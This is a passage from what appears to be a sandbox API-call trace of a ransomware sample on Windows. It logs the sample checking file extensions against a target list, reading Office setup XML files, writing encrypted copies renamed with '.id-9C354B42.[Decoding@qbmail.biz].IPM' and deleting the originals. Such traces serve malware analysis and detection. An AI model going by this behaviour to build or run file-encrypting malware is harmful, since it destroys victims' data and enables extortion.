(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0085.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0085.685] lstrlenW (lpString=".doc") returned 4 [0085.685] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0085.685] lstrlenW (lpString=".docx") returned 5 [0085.685] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0085.685] lstrlenW (lpString=".pdf") returned 4 [0085.685] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0085.685] lstrlenW (lpString=".xls") returned 4 [0085.685] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0085.685] lstrlenW (lpString=".xlsx") returned 5 [0085.685] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0085.685] lstrlenW (lpString=".ppt") returned 4 [0085.685] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0085.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0085.686] lstrlenW (lpString=".zip") returned 4 [0085.686] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0085.686] lstrlenW (lpString=".rar") returned 4 [0085.686] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0085.686] lstrlenW (lpString=".bz2") returned 4 [0085.686] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0085.686] lstrlenW (lpString=".7z") returned 3 [0085.686] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0085.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0085.686] lstrlenW (lpString=".dbf") returned 4 [0085.686] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0085.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0085.686] lstrlenW (lpString=".1cd") returned 4 [0085.686] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0085.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0085.686] lstrlenW (lpString=".jpg") returned 4 [0085.686] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0085.687] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0085.687] lstrlenW (lpString="Proofing.XML") returned 12 [0085.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0086.304] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=811) returned 1 [0086.304] CloseHandle (hObject=0x204) returned 1 [0086.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 0x20 [0086.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0086.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0086.305] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0086.305] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0086.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0086.306] GetLastError () returned 0x0 [0086.306] ReadFile (in: hFile=0x204, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x32b, lpOverlapped=0x0) returned 1 [0086.309] WriteFile (in: hFile=0x1f8, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x330, lpOverlapped=0x0) returned 1 [0086.311] ReadFile (in: hFile=0x204, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0086.311] WriteFile (in: hFile=0x1f8, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0086.311] SetEndOfFile (hFile=0x1f8) returned 1 [0086.311] CloseHandle (hObject=0x1f8) returned 1 [0086.316] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0086.317] SetEndOfFile (hFile=0x204) returned 1 [0086.318] CloseHandle (hObject=0x204) returned 1 [0086.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0086.319] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 1 [0086.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0086.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0086.319] lstrlenW (lpString=".doc") returned 4 [0086.319] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0086.319] lstrlenW (lpString=".docx") returned 5 [0086.319] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0086.319] lstrlenW (lpString=".pdf") returned 4 [0086.319] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0086.319] lstrlenW (lpString=".xls") returned 4 [0086.319] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0086.319] lstrlenW (lpString=".xlsx") returned 5 [0086.319] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0086.319] lstrlenW (lpString=".ppt") returned 4 [0086.320] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0086.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0086.320] lstrlenW (lpString=".zip") returned 4 [0086.320] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0086.320] lstrlenW (lpString=".rar") returned 4 [0086.320] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0086.320] lstrlenW (lpString=".bz2") returned 4 [0086.320] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0086.320] lstrlenW (lpString=".7z") returned 3 [0086.320] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0086.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0086.320] lstrlenW (lpString=".dbf") returned 4 [0086.320] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0086.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0086.320] lstrlenW (lpString=".1cd") returned 4 [0086.320] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0086.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0086.320] lstrlenW (lpString=".jpg") returned 4 [0086.320] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0086.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0086.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0086.320] lstrlenW (lpString=".doc") returned 4 [0086.321] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0086.321] lstrlenW (lpString=".docx") returned 5 [0086.321] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0086.321] lstrlenW (lpString=".pdf") returned 4 [0086.321] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0086.321] lstrlenW (lpString=".xls") returned 4 [0086.321] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0086.321] lstrlenW (lpString=".xlsx") returned 5 [0086.321] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0086.321] lstrlenW (lpString=".ppt") returned 4 [0086.321] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0086.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0086.321] lstrlenW (lpString=".zip") returned 4 [0086.321] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0086.321] lstrlenW (lpString=".rar") returned 4 [0086.321] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0086.321] lstrlenW (lpString=".bz2") returned 4 [0086.321] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0086.321] lstrlenW (lpString=".7z") returned 3 [0086.321] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0086.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0086.322] lstrlenW (lpString=".dbf") returned 4 [0086.322] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0086.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0086.322] lstrlenW (lpString=".1cd") returned 4 [0086.322] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0086.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0086.322] lstrlenW (lpString=".jpg") returned 4 [0086.322] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0086.322] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0086.322] lstrlenW (lpString="ProPlusrWW.XML") returned 14 [0086.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0086.355] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=16852) returned 1 [0086.355] CloseHandle (hObject=0x1bc) returned 1 [0086.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 0x20 [0086.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0086.355] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0086.355] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0086.355] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0086.356] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0086.356] GetLastError () returned 0x0 [0086.356] ReadFile (in: hFile=0x1bc, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x41d4, lpOverlapped=0x0) returned 1 [0086.702] WriteFile (in: hFile=0x1c0, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0086.704] ReadFile (in: hFile=0x1bc, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0086.704] WriteFile (in: hFile=0x1c0, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0086.705] SetEndOfFile (hFile=0x1c0) returned 1 [0086.705] CloseHandle (hObject=0x1c0) returned 1 [0086.712] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0086.712] SetEndOfFile (hFile=0x1bc) returned 1 [0086.714] CloseHandle (hObject=0x1bc) returned 1 [0086.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0086.715] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 1 [0086.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0086.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0086.715] lstrlenW (lpString=".doc") returned 4 [0086.715] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0086.715] lstrlenW (lpString=".docx") returned 5 [0086.715] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0086.715] lstrlenW (lpString=".pdf") returned 4 [0086.716] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0086.716] lstrlenW (lpString=".xls") returned 4 [0086.716] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0086.716] lstrlenW (lpString=".xlsx") returned 5 [0086.716] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0086.716] lstrlenW (lpString=".ppt") returned 4 [0086.716] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0086.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0086.716] lstrlenW (lpString=".zip") returned 4 [0086.716] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0086.716] lstrlenW (lpString=".rar") returned 4 [0086.716] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0086.716] lstrlenW (lpString=".bz2") returned 4 [0086.716] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0086.716] lstrlenW (lpString=".7z") returned 3 [0086.716] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0086.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0086.716] lstrlenW (lpString=".dbf") returned 4 [0086.717] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0086.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0086.717] lstrlenW (lpString=".1cd") returned 4 [0086.717] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0086.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0086.717] lstrlenW (lpString=".jpg") returned 4 [0086.717] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0086.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0086.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0086.717] lstrlenW (lpString=".doc") returned 4 [0086.717] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0086.717] lstrlenW (lpString=".docx") returned 5 [0086.717] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0086.717] lstrlenW (lpString=".pdf") returned 4 [0086.717] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0086.718] lstrlenW (lpString=".xls") returned 4 [0086.718] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0086.718] lstrlenW (lpString=".xlsx") returned 5 [0086.718] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0086.718] lstrlenW (lpString=".ppt") returned 4 [0086.718] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0086.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0086.718] lstrlenW (lpString=".zip") returned 4 [0086.718] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0086.718] lstrlenW (lpString=".rar") returned 4 [0086.718] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0086.718] lstrlenW (lpString=".bz2") returned 4 [0086.718] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0086.718] lstrlenW (lpString=".7z") returned 3 [0086.718] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0086.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0086.718] lstrlenW (lpString=".dbf") returned 4 [0086.718] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0086.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0086.718] lstrlenW (lpString=".1cd") returned 4 [0086.719] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0086.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0086.719] lstrlenW (lpString=".jpg") returned 4 [0086.719] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0086.719] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0086.719] lstrlenW (lpString="SETUP.XML") returned 9 [0086.719] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0086.721] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=6241) returned 1 [0086.721] CloseHandle (hObject=0x1bc) returned 1 [0086.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 0x20 [0086.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0086.722] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0086.722] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0086.722] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0086.722] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0086.723] GetLastError () returned 0x0 [0086.723] ReadFile (in: hFile=0x1bc, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x1861, lpOverlapped=0x0) returned 1 [0086.779] WriteFile (in: hFile=0x1c0, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0086.781] ReadFile (in: hFile=0x1bc, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0086.781] WriteFile (in: hFile=0x1c0, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0086.781] SetEndOfFile (hFile=0x1c0) returned 1 [0086.782] CloseHandle (hObject=0x1c0) returned 1 [0086.794] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0086.794] SetEndOfFile (hFile=0x1bc) returned 1 [0086.795] CloseHandle (hObject=0x1bc) returned 1 [0086.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0086.796] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 1 [0086.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0086.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0086.797] lstrlenW (lpString=".doc") returned 4 [0086.797] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0086.797] lstrlenW (lpString=".docx") returned 5 [0086.797] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0086.797] lstrlenW (lpString=".pdf") returned 4 [0086.797] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0086.797] lstrlenW (lpString=".xls") returned 4 [0086.797] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0086.797] lstrlenW (lpString=".xlsx") returned 5 [0086.797] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0086.797] lstrlenW (lpString=".ppt") returned 4 [0086.797] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0086.797] lstrlenW 